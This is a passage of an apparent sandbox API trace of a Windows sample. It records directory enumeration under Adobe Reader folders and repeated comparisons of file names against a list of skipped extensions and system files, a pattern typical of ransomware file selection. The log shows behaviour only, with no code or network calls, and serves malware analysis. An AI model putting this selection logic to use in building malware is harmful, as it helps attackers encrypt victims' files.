lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.724] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.725] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.725] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\FRA\\") returned 0x40 [0029.725] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.725] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.728] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.730] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.732] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.732] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.733] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*.*", lpFindFileData=0x18e754 | out: 